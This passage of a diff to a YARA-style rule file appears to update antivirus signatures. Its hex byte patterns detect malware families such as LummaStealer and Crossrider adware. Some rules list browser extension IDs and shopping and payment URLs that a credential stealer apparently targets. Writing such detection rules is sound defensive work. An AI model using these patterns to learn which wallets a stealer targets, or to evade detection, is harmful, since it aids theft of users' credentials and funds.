1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_e4_61 & 1)*0+(#a_00_62 & 1)*52+(#a_00_63 & 1)*55+(#a_00_64 & 1)*48+(#a_20_65 & 1)*13344+(#a_20_66 & 1)*13856+(#a_33_67 & 1)*8248+(#a_20_68 & 1)*14112+(#a_36_69 & 1)*14134+(#a_37_70 & 1)*17974+(#a_41_71 & 1)*8241+(#a_34_72 & 1)*12596) >=10 } -rule _InfrastructureShared_20577{ +rule _InfrastructureShared_21800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 1a 00 21 " @@ -266155,7 +281640,7 @@ rule _InfrastructureShared_20577{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*50+(#a_00_2 & 1)*49+(#a_00_3 & 1)*49+(#a_00_4 & 1)*70+(#a_20_5 & 1)*13600+(#a_33_6 & 1)*8241+(#a_34_7 & 1)*16948+(#a_20_9 & 1)*13313+(#a_20_10 & 1)*13344+(#a_46_11 & 1)*8249+(#a_34_12 & 1)*12596+(#a_34_13 & 1)*12596+(#a_41_14 & 1)*8262+(#a_34_15 & 1)*16948+(#a_30_16 & 1)*8257+(#a_34_17 & 1)*13108+(#a_31_18 & 1)*8242+(#a_36_19 & 1)*16948+(#a_37_20 & 1)*8262+(#a_20_21 & 1)*13856+(#a_46_22 & 1)*8262+(#a_44_23 & 1)*8241+(#a_20_24 & 1)*13344+(#a_31_25 & 1)*384) >=22 } -rule _InfrastructureShared_20578{ +rule _InfrastructureShared_21801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 34 00 21 " @@ -266216,7 +281701,7 @@ rule _InfrastructureShared_20578{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*25968+(#a_67_2 & 1)*29728+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_03_20 & 1)*1+(#a_01_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_03_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1) >=15 } -rule _InfrastructureShared_20579{ +rule _InfrastructureShared_21802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 22 00 21 " @@ -266244,22 +281729,31 @@ rule _InfrastructureShared_20579{ $a_74_20 = {65 61 74 2e 68 69 64 65 43 72 65 64 65 6e 74 69 61 6c 73 01 00 3d 01 67 69 74 68 75 62 2e 63 6f 6d 2f 77 61 6b 61 74 69 6d 65 2f 77 61 6b 61 74 69 6d 65 2d 63 6c 69 2f 70 6b 67 2f 68 65 61 72 74 62 65 61 74 2e 53 68 6f 75 6c 64 53 61 6e 69 74 69 7a 65 01 00 46 01 67 69 74 68 75 62 2e 63 6f 6d 2f 77 61 6b 61 74 69 6d 65 2f 77 61 6b 61 74 69 } //24933 $a_63_21 = {69 2f 70 6b 67 2f 68 65 61 72 74 62 65 61 74 2e 57 69 74 68 45 6e 74 69 74 79 4d 6f 64 69 66 65 72 2e 66 75 6e 63 31 01 00 48 01 67 69 } //25965 $a_62_22 = {63 6f 6d 2f 77 61 6b 61 74 69 6d 65 2f 77 61 6b 61 74 69 6d 65 2d 63 6c 69 2f 70 6b 67 2f 68 65 61 72 74 62 65 61 74 2e 57 69 74 68 45 6e 74 69 74 79 4d 6f 64 69 66 65 72 2e 66 75 6e 63 31 2e 31 01 00 47 01 67 69 74 68 75 62 2e 63 6f 6d 2f 77 61 6b 61 74 69 6d 65 2f 77 61 6b 61 74 69 6d 65 2d 63 6c 69 2f 70 6b 67 2f 68 65 61 72 74 62 65 61 74 2e 53 } //26740 - $a_65_23 = {2e 53 65 6e 64 48 65 61 72 74 62 65 61 74 73 2d 66 6d 00 00 78 a0 09 00 65 00 65 00 25 00 21 23 48 53 54 52 3a 50 6c 75 73 2d 48 44 5f 43 72 6f 73 73 72 69 64 65 72 00 64 00 28 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 50 00 6c 00 75 00 73 00 2d 00 48 00 44 00 } //28261 - $a_00_24 = {49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 48 00 51 00 76 00 69 00 64 00 50 00 76 00 } //100 - $a_00_25 = {49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 48 00 44 00 2d 00 56 00 70 00 72 00 6f 00 } //100 - $a_00_26 = {49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 48 00 69 00 67 00 68 00 2d 00 51 00 75 00 61 00 6c 00 69 00 74 00 79 00 } //100 - $a_01_27 = {43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 31 32 35 35 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 31 32 35 35 2e 53 61 6e 64 62 6f 78 } //1 CrossriderApp0031255.Sandbox.1 = s 'CrossriderApp0031255.Sandbox - $a_01_28 = {43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 31 32 35 37 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 31 32 35 37 2e 53 61 6e 64 62 6f 78 } //1 CrossriderApp0031257.Sandbox.1 = s 'CrossriderApp0031257.Sandbox - $a_01_29 = {43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 32 30 30 32 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 32 30 30 32 2e 53 61 6e 64 62 6f 78 } //1 CrossriderApp0032002.Sandbox.1 = s 'CrossriderApp0032002.Sandbox - $a_01_30 = {43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 33 30 33 36 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 33 30 33 36 2e 53 61 6e 64 62 6f 78 } //1 CrossriderApp0033036.Sandbox.1 = s 'CrossriderApp0033036.Sandbox - $a_01_31 = {43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 33 34 33 38 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 33 34 33 38 2e 53 61 6e 64 62 6f 78 } //1 CrossriderApp0033438.Sandbox.1 = s 'CrossriderApp0033438.Sandbox - $a_01_32 = {43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 34 33 33 30 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 34 33 33 30 2e 53 61 6e 64 62 6f 78 } //1 CrossriderApp0034330.Sandbox.1 = s 'CrossriderApp0034330.Sandbox - $a_01_33 = {43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 39 30 33 30 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 33 39 30 33 30 2e 53 61 6e 64 62 6f 78 } //1 CrossriderApp0039030.Sandbox.1 = s 'CrossriderApp0039030.Sandbox + $a_65_23 = {2e 53 65 6e 64 48 65 61 72 74 62 65 61 74 73 2d 66 6d 00 00 78 55 09 00 01 00 01 00 13 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 33 00 01 00 78 01 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e } //28261 + $a_63_24 = {00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 + $a_63_26 = {00 00 b0 02 00 00 00 90 05 00 00 02 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 90 05 00 00 10 00 00 00 9a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 + $a_63_28 = {00 00 88 03 00 00 00 a0 05 00 00 04 00 00 00 aa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 05 00 00 02 00 00 00 ae 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 00 06 00 00 10 00 00 00 e4 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 + $a_63_30 = {00 00 f0 01 00 00 00 10 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 20 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 + $a_63_32 = {00 00 88 03 00 00 00 d0 06 00 00 04 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 00 06 00 00 10 00 00 00 e4 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 condition: - ((#a_6c_0 & 1)*16675+(#a_74_1 & 1)*27489+(#a_2e_2 & 1)*24933+(#a_67_3 & 1)*28719+(#a_2e_4 & 1)*30056+(#a_74_5 & 1)*24933+(#a_65_6 & 1)*26996+(#a_00_7 & 1)*12590+(#a_74_8 & 1)*26369+(#a_74_9 & 1)*25954+(#a_6b_10 & 1)*12137+(#a_69_11 & 1)*24939+(#a_6d_12 & 1)*29793+(#a_6c_13 & 1)*26739+(#a_65_14 & 1)*26996+(#a_68_15 & 1)*26983+(#a_7a_16 & 1)*29801+(#a_2f_17 & 1)*28009+(#a_67_18 & 1)*16384+(#a_2e_19 & 1)*30056+(#a_74_20 & 1)*24933+(#a_63_21 & 1)*25965+(#a_62_22 & 1)*26740+(#a_65_23 & 1)*28261+(#a_00_24 & 1)*100+(#a_00_25 & 1)*100+(#a_00_26 & 1)*100+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1) >=20 + ((#a_6c_0 & 1)*16675+(#a_74_1 & 1)*27489+(#a_2e_2 & 1)*24933+(#a_67_3 & 1)*28719+(#a_2e_4 & 1)*30056+(#a_74_5 & 1)*24933+(#a_65_6 & 1)*26996+(#a_00_7 & 1)*12590+(#a_74_8 & 1)*26369+(#a_74_9 & 1)*25954+(#a_6b_10 & 1)*12137+(#a_69_11 & 1)*24939+(#a_6d_12 & 1)*29793+(#a_6c_13 & 1)*26739+(#a_65_14 & 1)*26996+(#a_68_15 & 1)*26983+(#a_7a_16 & 1)*29801+(#a_2f_17 & 1)*28009+(#a_67_18 & 1)*16384+(#a_2e_19 & 1)*30056+(#a_74_20 & 1)*24933+(#a_63_21 & 1)*25965+(#a_62_22 & 1)*26740+(#a_65_23 & 1)*28261+(#a_63_24 & 1)*29554+(#a_63_26 & 1)*29554+(#a_63_28 & 1)*29554+(#a_63_30 & 1)*29554+(#a_63_32 & 1)*29554) >=20 } -rule _InfrastructureShared_20580{ +rule _InfrastructureShared_21803{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 13 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 33 00 01 00 78 01 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 } //18467 + $a_00_1 = {00 00 } //-4608 + $a_00_4 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 90 } //0 + $a_00_9 = {00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 05 00 00 02 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 a2 } //0 + $a_00_13 = {00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 90 05 00 00 10 00 00 00 9a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 a0 05 00 00 04 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-4608+(#a_00_4 & 1)*0+(#a_00_9 & 1)*0+(#a_00_13 & 1)*0) >=1 + +} +rule _InfrastructureShared_21804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 25 00 21 " @@ -266303,7 +281797,7 @@ rule _InfrastructureShared_20580{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109+(#a_00_4 & 1)*108+(#a_20_5 & 1)*8241+(#a_20_6 & 1)*11896+(#a_33_7 & 1)*12336+(#a_73_8 & 1)*28530+(#a_2e_9 & 1)*13107+(#a_72_10 & 1)*29551+(#a_62_11 & 1)*28257+(#a_6f_12 & 1)*25710+(#a_31_13 & 1)*30831+(#a_70_14 & 1)*16754+(#a_62_15 & 1)*28257+(#a_20_16 & 1)*11896+(#a_39_17 & 1)*12336+(#a_72_18 & 1)*29551+(#a_53_19 & 1)*13368+(#a_73_20 & 1)*28530+(#a_64_21 & 1)*24915+(#a_73_22 & 1)*29251+(#a_34_23 & 1)*12400+(#a_43_24 & 1)*8307+(#a_70_25 & 1)*16754+(#a_62_26 & 1)*28257+(#a_20_27 & 1)*11896+(#a_33_28 & 1)*12336+(#a_69_29 & 1)*29555+(#a_53_30 & 1)*13108+(#a_31_31 & 1)*12371+(#a_73_32 & 1)*25453+(#a_6d_33 & 1)*25390+(#a_63_34 & 1)*31073+(#a_64_35 & 1)*29296+(#a_74_36 & 1)*28015) >=101 } -rule _InfrastructureShared_20581{ +rule _InfrastructureShared_21805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 35 00 21 " @@ -266332,40 +281826,73 @@ rule _InfrastructureShared_20581{ $a_6d_21 = {00 65 01 68 74 74 70 73 3a 2f 2f 7a 68 74 2e 61 6c 69 70 61 79 2e 63 6f 6d 2f 61 73 73 65 74 2f 61 73 73 65 74 53 74 61 74 69 73 74 69 63 73 2e 6a 73 6f 6e 3f 5f 69 6e 70 75 74 5f 63 68 61 72 73 65 74 3d 75 74 66 2d 38 26 63 61 74 65 67 6f 72 79 54 79 70 65 3d 46 41 53 54 50 41 59 53 45 52 56 49 43 45 26 74 3d 01 00 19 01 74 61 6f 62 61 6f 2e 63 } //26670 $a_74_22 = {6d 2e 74 61 6f 62 61 6f 2e 63 6f 6d 01 00 16 01 74 61 6f 62 61 6f 2e 63 6f 6d 73 2e 74 61 6f 62 61 6f 2e 63 6f 6d 01 00 18 01 74 61 6f 62 61 6f 2e 63 6f 6d 77 77 77 2e 74 61 6f 62 61 6f 2e 63 6f 6d 01 00 16 01 74 6d 61 6c 6c 2e 63 6f 6d 62 75 79 2e 74 6d 61 6c 6c 2e 63 6f 6d 01 00 19 01 74 6d 61 6c 6c 2e 63 6f 6d } //28015 $a_61_23 = {6c 2e 74 6d 61 6c 6c 2e 63 6f 6d 01 00 17 01 74 6d 61 6c 6c 2e 63 6f 6d 6c 69 73 74 2e 74 6d 61 6c 6c 2e 63 6f 6d 01 00 18 01 74 6d 61 6c 6c 2e 63 6f 6d 6e 65 69 79 69 2e 74 6d 61 6c 6c 2e 63 6f 6d 01 00 19 01 74 6d 61 6c 6c 2e 63 6f 6d 73 68 6f 75 6a 69 2e 74 6d 61 6c 6c 2e 63 6f 6d 01 00 16 01 74 6d 61 6c 6c 2e 63 6f 6d 77 77 77 2e 74 6d 61 6c } //25956 - $a_6f_24 = {00 00 78 b0 09 00 65 00 65 00 40 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 63 2e 53 42 00 01 00 20 80 01 65 6a 62 61 6c 62 61 6b 6f 70 6c 63 68 6c 67 68 65 63 64 61 6c 6d 65 65 65 61 6a 6e 69 6d 68 6d 01 00 20 80 01 6e 6b 62 69 68 66 62 65 6f 67 61 65 61 6f 65 68 } //11884 - $a_6e_25 = {6f 64 62 65 66 67 70 67 6b 6e 6e 01 00 20 80 01 65 67 6a 69 64 6a 62 70 67 6c 69 63 68 64 63 6f 6e 64 62 63 62 64 6e 62 65 65 70 70 67 64 70 68 01 00 20 80 01 69 62 6e 65 6a 64 66 6a 6d 6d 6b 70 63 6e 6c 70 65 62 6b 6c 6d 6e 6b 6f 65 6f 69 68 6f 66 65 63 01 00 20 80 01 66 6e 6a 68 6d 6b 68 68 6d 6b 62 6a } //25964 - $a_62_26 = {64 63 6e 6e 6f 67 61 67 6f 67 62 6e 65 65 63 01 00 20 80 01 66 68 62 6f 68 69 6d 61 65 6c 62 6f 68 70 6a 62 62 6c 64 63 6e 67 63 6e 61 70 6e 64 6f 64 6a 70 01 00 20 80 01 66 66 6e 62 65 6c 66 64 6f 65 69 6f 68 65 6e 6b 6a 69 62 6e 6d 61 64 6a 69 65 68 6a 68 61 6a 62 01 00 20 80 01 6a 62 64 } //27499 - $a_6e_27 = {69 69 69 6e 6d 6a 62 6a 6c 67 61 6c 68 63 65 6c 67 62 65 6a 6d 6e 69 64 01 00 20 80 01 61 66 62 63 62 6a 70 62 70 66 61 64 6c 6b 6d 68 6d 63 6c 68 6b 65 65 6f 64 6d 61 6d 63 66 6c 63 01 00 20 80 01 68 6e 66 61 6e 6b 6e 6f 63 66 65 6f 66 62 64 64 67 63 69 6a 6e 6d 68 6e 66 6e 6b 64 6e 61 61 64 01 } //28513 - $a_01_28 = {68 70 67 6c 66 68 67 66 6e 68 62 67 70 6a 64 65 6e 6a 67 6d 64 67 6f 65 69 61 70 70 61 66 6c 6e 01 00 20 80 01 62 6c 6e 69 65 69 69 66 66 62 6f 69 6c 6c 6b 6e 6a 6e 65 70 6f 67 6a 68 6b 67 6e 6f 61 70 61 63 01 00 20 80 01 63 6a 65 6c 66 70 6c 70 6c 65 62 64 6a 6a 65 6e 6c 6c 70 6a 63 62 6c 6d 6a 6b 66 63 66 66 6e 65 01 00 20 80 01 66 69 68 6b 61 6b 66 6f 62 6b 6d 6b 6a 6f 6a 70 63 } //8192 - $a_67_29 = {6d 68 66 6a 6e 6d 6e 66 70 69 01 00 20 80 01 6b 6e 63 63 68 64 69 67 6f 62 67 68 65 6e 62 62 61 64 64 6f 6a 6a 6e 6e 61 6f 67 66 70 70 66 6a 01 00 20 80 01 6b 6b 70 6c 6c 6b 6f 64 6a 65 6c 6f 69 64 69 65 65 64 6f 6a 6f 67 61 63 66 68 70 61 69 68 6f 68 01 00 20 80 01 61 6d 6b 6d 6a 6a 6d 6d 66 6c 64 64 6f } //28776 - $a_70_30 = {6c 6f 69 6d 69 70 62 6f 66 6e 66 6a 69 68 01 00 20 80 01 6e 6c 62 6d 6e 6e 69 6a 63 6e 6c 65 67 6b 6a 6a 70 63 66 6a 63 6c 6d 63 66 67 67 66 65 66 64 6d 01 00 20 80 01 6e 61 6e 6a 6d 64 6b 6e 68 6b 69 6e 69 66 6e 6b 67 64 63 67 67 63 66 6e 68 64 61 61 6d 6d 6d 6a 01 00 20 80 01 6e 6b 64 64 67 6e 63 64 6a 67 6a } //28007 - $a_64_31 = {6d 66 67 63 6d 66 6e 6c 68 63 63 6e 69 6d 69 67 01 00 20 80 01 63 70 68 68 6c 67 6d 67 61 6d 65 6f 64 6e 68 6b 6a 64 6d 6b 70 61 6e 6c 65 6c 6e 6c 6f 68 61 6f 01 00 20 80 01 6e 68 6e 6b 62 6b 67 6a 69 6b 67 63 69 67 61 64 6f 6d 6b 70 68 61 6c 61 6e 6e 64 63 61 70 6a 6b 01 00 20 80 01 61 63 6d 61 63 } //25446 - $a_6a_32 = {64 67 6d 6f 6c 65 65 62 6f 6c 6d 64 6a 6f 6e 69 6c 6b 64 62 63 68 01 00 20 80 01 70 68 6b 62 61 6d 65 66 69 6e 67 67 6d 61 6b 67 6b 6c 70 6b 6c 6a 6a 6d 67 69 62 6f 68 6e 62 61 01 00 20 80 01 65 66 62 67 6c 67 6f 66 6f 69 70 70 62 67 63 6a 65 70 6e 68 69 62 6c 61 69 62 63 6e 63 6c 67 6b 01 00 20 80 01 6e 6e 67 63 65 63 } //25711 - $a_70_33 = {62 66 69 6d 6e 6c 6e 69 69 69 61 68 6b 61 6e 64 63 6c 62 6c 62 01 00 20 80 01 6c 70 66 63 62 6a 6b 6e 69 6a 70 65 65 69 6c 6c 69 66 6e 6b 69 6b 67 6e 63 69 6b 67 66 68 64 6f 01 00 20 80 01 65 6a 6a 6c 61 64 69 6e 6e 63 6b 64 67 6a 65 6d 65 6b 65 62 64 70 65 6f 6b 62 69 6b 68 66 63 69 01 00 } //25195 - $a_6f_34 = {63 } //-32736 c - $a_6d_35 = {70 69 64 62 67 70 65 6e 68 6d 61 6a 6f 61 6a 70 62 6f 62 70 70 64 69 6c 01 00 20 80 01 61 68 6f 6c 70 66 64 69 61 6c 6a 67 6a 66 68 6f 6d 69 68 6b 6a 62 6d 67 6a 69 64 6c 63 64 6e 6f 01 00 20 80 01 6f 6e 68 6f 67 66 6a 65 61 63 6e 66 6f 6f 66 6b 66 67 70 70 64 6c 62 6d 6c 6d 6e 70 6c 67 62 6e 01 00 20 80 } //28775 - $a_70_36 = {6d 62 63 61 66 69 65 64 64 63 61 67 61 67 64 63 62 6e 68 65 6a 68 6c 6f 64 66 64 64 01 00 20 80 01 66 69 6a 6e 67 6a 67 63 6a 68 6a 6d 6d 70 63 6d 6b 65 69 6f 6d 6c 67 6c 70 65 69 69 6a 6b 6c 64 01 00 20 80 01 68 69 66 61 66 67 6d 63 63 64 70 65 6b 70 6c 6f 6d 6a 6a 6b 63 66 67 6f 64 6e 68 63 65 6c 6c 6a 01 00 20 80 01 6b 70 66 6f } //27905 - $a_6c_37 = {61 70 63 6f 69 70 65 6d 66 65 6e 64 6d 64 63 67 68 6e 65 67 69 6d 6e 01 00 20 80 01 61 69 69 66 62 6e 62 66 6f 62 70 6d 65 65 6b 69 70 68 65 65 69 6a 69 6d 64 70 6e 6c 70 67 70 70 01 00 20 80 01 64 6d 6b 61 6d 63 6b 6e 6f 67 6b 67 63 64 66 68 68 62 64 64 63 67 68 61 63 68 6b 65 6a 65 61 70 01 00 20 80 } //27504 - $a_6d_38 = {65 6e 64 67 64 6f 63 6d 63 62 6d 66 69 6b 64 63 6f 67 6f 66 70 68 69 6d 6e 6b 6e 6f 01 00 20 80 01 63 6e 6d 61 6d 61 61 63 68 70 70 6e 6b 6a 67 6e 69 6c 64 70 64 6d 6b 61 61 6b 65 6a 6e 68 61 65 01 00 20 80 01 6a 6f 6a 68 66 65 6f 65 64 6b 70 6b 67 6c 62 66 69 6d 64 66 61 62 70 64 66 6a 61 6f 6f 6c 61 66 01 00 } //26113 - $a_66_39 = {70 } //-32737 p - $a_69_40 = {65 6d 67 68 62 6d 66 61 6c 69 63 61 6a 6f 6f 6c 68 6b 6b 65 6e 66 65 01 00 20 80 01 6e 6b 6e 68 69 65 68 6c 6b 6c 69 70 70 61 66 61 6b 61 65 6b 6c 62 65 67 6c 65 63 69 66 68 61 64 01 00 20 80 01 68 63 66 6c 70 69 6e 63 70 70 70 64 63 6c 69 6e 65 61 6c 6d 61 6e 64 69 6a 63 6d 6e 6b 62 67 6e 01 00 20 80 01 6f 6f 6b } //25449 - $a_6b_41 = {69 6a 69 6e 68 70 6d 6e 6a 66 66 63 6f 66 6a 6f 6e 62 66 62 67 61 6f 63 01 00 20 80 01 6d 6e 66 69 66 65 66 6b 61 6a 67 6f 66 6b 63 6a 6b 65 6d 69 64 69 61 65 63 6f 63 6e 6b 6a 65 68 01 00 20 80 01 6c 6f 64 63 63 6a 6a 62 64 68 66 61 6b 61 65 6b 64 69 61 68 6d 65 64 66 62 69 65 6c 64 67 69 6b } //27754 - $a_80_42 = {69 6a 6d 70 67 6b 6a 66 6b 62 66 68 6f 65 62 67 6f 67 66 6c 66 65 62 6e 6d 65 6a 6d 66 62 6d } //ijmpgkjfkbfhoebgogflfebnmejmfbm 1 - $a_80_43 = {6c 6b 63 6a 6c 6e 6a 66 70 62 69 6b 6d 63 6d 62 61 63 68 6a 70 64 62 69 6a 65 6a 66 6c 70 63 6d } //lkcjlnjfpbikmcmbachjpdbijejflpcm 1 - $a_80_44 = {6f 6e 6f 66 70 6e 62 62 6b 65 68 70 6d 6d 6f 61 62 67 70 63 70 6d 69 67 61 66 6d 6d 6e 6a 68 } //onofpnbbkehpmmoabgpcpmigafmmnjh 1 - $a_80_45 = {62 63 6f 70 67 63 68 68 6f 6a 6d 67 67 6d 66 66 69 6c 70 6c 6d 62 64 69 63 67 61 69 68 6c 6b 70 } //bcopgchhojmggmffilplmbdicgaihlkp 1 - $a_80_46 = {6b 6c 6e 61 65 6a 6a 67 62 69 62 6d 68 6c 65 70 68 6e 68 70 6d 61 6f 66 6f 68 67 6b 70 67 6b 64 } //klnaejjgbibmhlephnhpmaofohgkpgkd 1 - $a_80_47 = {61 65 61 63 68 6b 6e 6d 65 66 70 68 65 70 63 63 69 6f 6e 62 6f 6f 68 63 6b 6f 6e 6f 65 65 6d 67 } //aeachknmefphepccionboohckonoeemg 1 - $a_80_48 = {62 68 67 68 6f 61 6d 61 70 63 64 70 62 6f 68 70 68 69 67 6f 6f 6f 61 64 64 69 6e 70 6b 62 61 69 } //bhghoamapcdpbohphigoooaddinpkbai 1 - $a_80_49 = {64 6b 64 65 64 6c 70 67 64 6d 6d 6b 6b 66 6a 61 62 66 66 65 67 61 6e 69 65 61 6d 66 6b 6c 6b 6d } //dkdedlpgdmmkkfjabffeganieamfklkm 1 - $a_80_50 = {6e 6c 67 62 68 64 66 67 64 68 67 62 69 61 6d 66 64 66 6d 62 69 6b 63 64 67 68 69 64 6f 61 64 64 } //nlgbhdfgdhgbiamfdfmbikcdghidoadd 1 - $a_80_51 = {69 6e 66 65 62 6f 61 6a 67 66 68 67 62 6a 70 6a 62 65 70 70 62 6b 67 6e 61 62 66 64 6b 64 61 66 } //infeboajgfhgbjpjbeppbkgnabfdkdaf 1 